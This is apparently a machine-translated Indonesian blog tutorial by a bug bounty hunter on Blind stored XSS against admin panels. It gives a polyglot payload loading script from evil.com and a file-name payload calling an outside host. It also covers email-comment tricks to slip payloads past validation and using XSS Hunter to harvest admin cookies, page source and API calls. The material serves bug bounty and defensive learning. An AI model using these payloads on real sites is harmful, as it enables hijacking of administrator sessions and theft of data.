Rubah tahu banyak tentang berburu :)Banyak yang mungkin pernah mendengar tentang
BugBounty , pencarian kerentanan hadiah, dan cerita terkaitnya. Sebagai salah satu "pemburu serangga," saya memulai perjalanan saya sedikit lebih dari setahun yang lalu di situs
HackerOne . Selama waktu ini, saya berhasil belajar banyak tentang berbagai jenis kerentanan, mendapatkan banyak pengalaman dan sekarang saya ingin berbagi ini dengan masyarakat.
Dalam artikel ini saya ingin berbicara tentang jenis kerentanan seperti
Blind Cross-site Scripting atau
scripting cross-site yang tersimpan secara buta, jika diterjemahkan ke dalam bahasa Rusia. Saya mengundang Anda ke kucing, jika Anda tertarik dengan topik seperti itu atau Anda ingin meningkatkan keamanan aplikasi Anda.
Banyak aplikasi web memiliki panel administratif atau variasi lainnya yang memungkinkan Anda untuk mengontrol konten situs web, mengelola data pengguna, dan melakukan banyak tindakan istimewa lainnya. Portal administrasi dapat dilindungi oleh akses ke kumpulan alamat IP tertentu, cookie HTTP-Only dan, tentu saja, otorisasi.
Namun, semua mekanisme perlindungan ini dapat dielakkan jika konten yang dimasukkan pengguna berbahaya, dan aplikasi tidak membersihkan informasi yang dikirim oleh pengguna dengan benar.
Alat untuk digunakan
Pertama, mari berkenalan dengan alat yang memungkinkan kita untuk berhasil mengeksploitasi
Blind-XSS yang ditemukan . Ini berbeda dari kerentanan lain dengan metode eksploitasi. Dengan mengirim pesan jahat, kami tidak tahu apakah
JavaScript berhasil diintegrasikan ke halaman
HTML atau tidak. Kode jahat hanya akan dieksekusi ketika administrator mengunjungi halaman dengan kode ini. Kalau tidak, kita mungkin tidak pernah tahu apakah serangan itu berhasil atau tidak.
Segala macam kerangka kerja yang dibuat khusus untuk injeksi Blind-XSS dapat memberi kami bantuan operasional:
- XSS Hunter ( GitHub ) - salah satu kerangka kerja paling populer
- ezXSS
- bXSS (dengan notifikasi SMS)
- elScripto
Dan masih banyak lainnya. Setiap kerangka kerja memiliki kekhasan masing-masing, sehingga setiap pemburu memilih yang paling nyaman dan cocok untuk kebutuhannya. Karena saya menggunakan
XSS Hunter , nanti di artikel saya akan memberikan fitur-fiturnya dan cara menggunakannya untuk mendapatkan hasil terbaik.
Setelah menyiapkan kerangka kerja, Anda akan mendapatkan muatan siap yang dapat diterapkan dalam situasi yang berbeda, tetapi polyglots paling sering digunakan, misalnya:
\-->'></style></div></article></script><script/src=//evil.com>
Titik masuk atau titik injeksi
Semua titik masuk disatukan oleh fakta bahwa informasi yang dimasukkan ke dalamnya tidak dibersihkan dengan benar dari kode JavaScript dan memungkinkan implementasi kode ini dalam struktur HTML halaman administratif. Menurut pendapat saya, titik masuk paling populer adalah pesan dukungan.
Pertimbangkan yang saya tahu.
1. Formulir umpan balikSebagai aturan, dalam formulir ini ada bidang-bidang seperti:
- menuju
- pesan
- terkadang alamat email seandainya administrator ingin menghubungi pembuat pesan.
Masing-masing bidang ini rentan terhadap injeksi JavaScript. Tapi ada sedikit trik di sini:
Jika Anda melihat bidang Alamat email, maka jangan buru-buru menyerah jika tidak menerima apa pun selain struktur Email. Coba: - "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
- "payload"@domain.com
- name@"payload"domain.com
- name(payload)@domain.com
- name@(payload)domain.com
- name@domain.com(payload)
Tanda kutip dan tanda kurung adalah bagian alamat email yang valid dan merupakan komentar sesuai dengan spesifikasi
RFC 2822 (bagian 3.4.1),
RFC 3696 (bagian 3).
Setengah dari suntikan sukses saya hanya suntikan melalui komentar dari alamat email. Paling sering, memeriksa di sisi klien (browser) masih tidak memungkinkan penggunaan email semacam itu. Tetapi kita tahu bahwa memeriksa klien tidak ada artinya bagi kita:
Secara singkat tentang validasi sisi klien dan peretas Oleh karena itu, alamat email hanya perlu diganti dalam proses pengiriman permintaan menggunakan aplikasi proxy apa pun (misalnya, Burp Suite).
2. Formulir untuk keluhan / saran / penilaianTentunya Anda sering melihat baris
"Apakah artikel itu bermanfaat?" (Nilai artikel ini) di portal dukungan atau dengan dokumentasi. Dengan mengklik tombol "Tidak", mereka dapat menawarkan kepada kami untuk mengirim pesan mengapa artikel itu tidak berguna dan apa yang dapat diperbaiki. Anda mungkin sudah memahami di mana payload kami akan berada dalam kasus ini.
Karenanya, jika Anda melihat penawaran serupa untuk mengirim umpan balik, Anda harus memperhatikannya dan mengirim payload, yang pada akhirnya bisa berhasil.
3. Pendaftaran akunYa, saat mendaftarkan akun, sangat tidak mungkin akun kami akan dilihat di suatu tempat di panel administrasi, namun, dengan memasukkan muatan ke alamat email, kami kemudian dapat menggunakan ini untuk mengirim pesan ke situs sebagai pengguna terdaftar. Pada saat yang sama, formulir itu sendiri akan secara otomatis menampilkan alamat kami di panel administrasi, meskipun faktanya itu tidak diminta secara langsung ketika mengirim formulir atau pesan apa pun.
4. Dukungan PelangganTitik masuk paling jelas dan paling sering dieksploitasi. Setiap formulir untuk meminta layanan dukungan dapat sangat berbeda satu sama lain, jadi perhatikan bidang apa pun tempat Anda dapat memasukkan muatan.
Kemampuan untuk mengunduh file patut mendapat perhatian khusus. Trik lain adalah bahwa payload dapat dibiarkan dalam nama file, misalnya:
Screenshot - 12.03.2019 12_05_52"><script src=//mysite.com/1.js>.jpeg.html
Dan biarkan skrip yang sama dalam file itu sendiri (terima kasih kepada
w9w untuk menemukan).
5. Alamat pengiriman / perusahaan / rumahAlamat juga sering digunakan ketika berinteraksi dengan pengguna ketika mereka perlu mengirim sesuatu dalam hal layanan pengiriman, toko, pemesanan hotel atau aplikasi lain yang memproses alamat.
Bidang alamat cukup umum dan terkadang validasi terjadi di tingkat alamat yang ada. Oleh karena itu, Anda mungkin perlu memasukkan alamat asli di awal dan menunjukkannya di peta, dan sudah dalam proses mengirim permintaan, tambahkan payload ke alamat yang valid untuk melewati pemeriksaan aplikasi.
6. API TersembunyiTerkadang, saat mempelajari kode JavaScript, Anda mungkin menemukan titik akhir API yang tidak digunakan dalam aplikasi. Ini dapat berupa, misalnya, mengirimkan informasi tentang kesalahan, debugging, dan sejenisnya. Dimungkinkan untuk membentuk permintaan berdasarkan JS dan mengirim pesan dengan muatan.
Pasca operasi dan mekanisme perlindungan bypass
Setelah menerima umpan balik dari keberhasilan operasi Blind-XSS, banyak yang tergesa-gesa melaporkan temuan ke program tersebut dengan hadiah untuk kerentanan yang ditemukan. Namun, paling sering, kerentanan semacam itu mendapat prioritas tinggi, tetapi tidak kritis. Kami memiliki beberapa cara untuk membuktikan kerusakan kritis dari kemungkinan eksploitasi kerentanan.
1. Mempelajari panel HTML sumberDengan setiap operasi yang berhasil,
XSS Hunter mengirimi kami informasi seperti:
1. Cookie pengguna
2. Pengguna agen pengguna
3. Alamat IP pengguna
4. URL halaman tempat skrip dieksekusi
5. Kode sumber HTML halaman
6. tangkapan layar halaman
7. Perujuk

Sebagai aturan, tidak ada cookie sesi, karena mereka memiliki atribut HTTP-Only. Dalam hal ini, yang paling berguna bagi kami adalah kode sumber halaman HTML. Di dalamnya, antara lain, Anda dapat menemukan JavaScript. Kode ini memungkinkan Anda untuk memahami bagaimana permintaan dihasilkan untuk melakukan tindakan administratif. Anda perlu mempelajarinya dan mencoba melakukan tindakan ini dengan membuat permintaan secara manual di Burp Suite atau dalam perangkat lunak serupa lainnya.
Dalam kasus saya, panel admin berada di domain yang sama dari tempat saya mengirim payload, jadi saya bisa membuka semua skrip tanpa injeksi tambahan (meskipun ini dapat dilakukan dalam satu injeksi). Yang mengejutkan saya, meskipun akses ke bagian administratif masih memerlukan otorisasi, saya berhasil mengirim permintaan ke API administratif dan mengelola konten seolah-olah saya sudah menjadi administrator.
Sayangnya, program di mana saya dapat mendeteksi kerentanan ini bersifat pribadi dan saya tidak dapat memberi nama atau menunjukkan secara lebih rinci proses penggalian permintaan dari kode JS.
Sebagai hasil dari penemuan ini, saya berhasil mendapatkan
$ 2500 bukannya
$ 1000 seolah-olah itu adalah kerentanan prioritas tinggi.
2. Dapatkan informasi lebih lanjut.Bahkan jika panel administratif berada di belakang firewall dan pada dasarnya tidak ada cara untuk mengaksesnya, Anda masih bisa mendapatkan lebih banyak informasi dan meningkatkan kekritisan dari kerentanan yang ditemukan.
XSS Hunter memungkinkan Anda untuk menambahkan kode JS Anda sendiri ke payload dan menentukan halaman tambahan untuk diambil:

Setelah operasi pertama yang berhasil, Anda dapat mengekstrak halaman tambahan yang diperoleh saat mempelajari kode sumber halaman HTML. Dengan cara yang sama, Anda dapat menjalankan permintaan dengan hak administrator, tetapi ini membutuhkan kode JS yang lebih kompleks.
Selain itu, saya pikir Anda dapat menambahkan ekstraksi HTML rekursif dari halaman lain dari panel administrasi, di mana informasi sensitif mungkin muncul, tetapi saya belum harus menggunakan ini.
Kesimpulan
- Saya menyarankan pengembang untuk memeriksa semua bidang mereka yang terkait dengan alamat Email, karena sangat sering banyak mengandalkan pemeriksaan standar struktur alamat email, tidak memperhitungkan kemungkinan untuk menghasilkan alamat yang benar-benar valid, tetapi dengan kode berbahaya.
- Perhatikan bidang kecil apa pun yang terkait dengan umpan balik. Mereka berbeda dan tidak mungkin untuk mendaftar semuanya.
- Jangan malas mengekstrak informasi tambahan dari halaman HTML yang diterima, dengan probabilitas tinggi hal itu dapat meningkatkan karunia Anda di waktu-waktu tertentu.
- Cobalah untuk membuktikan dampak kritis untuk masing-masing Blind-XSS Anda.
Saya mengusulkan berlangganan saluran saya di
Telegram (hanya dalam bahasa Rusia), juga ke akun
Twitter (dalam bahasa Inggris), karena sulit untuk mengumpulkan bahan untuk artikel besar seperti itu, tetapi saya dapat menerbitkan trik pendek dan cukup sering menemukan.
Tautan dapat ditemukan di bawah.
Selamat berburu!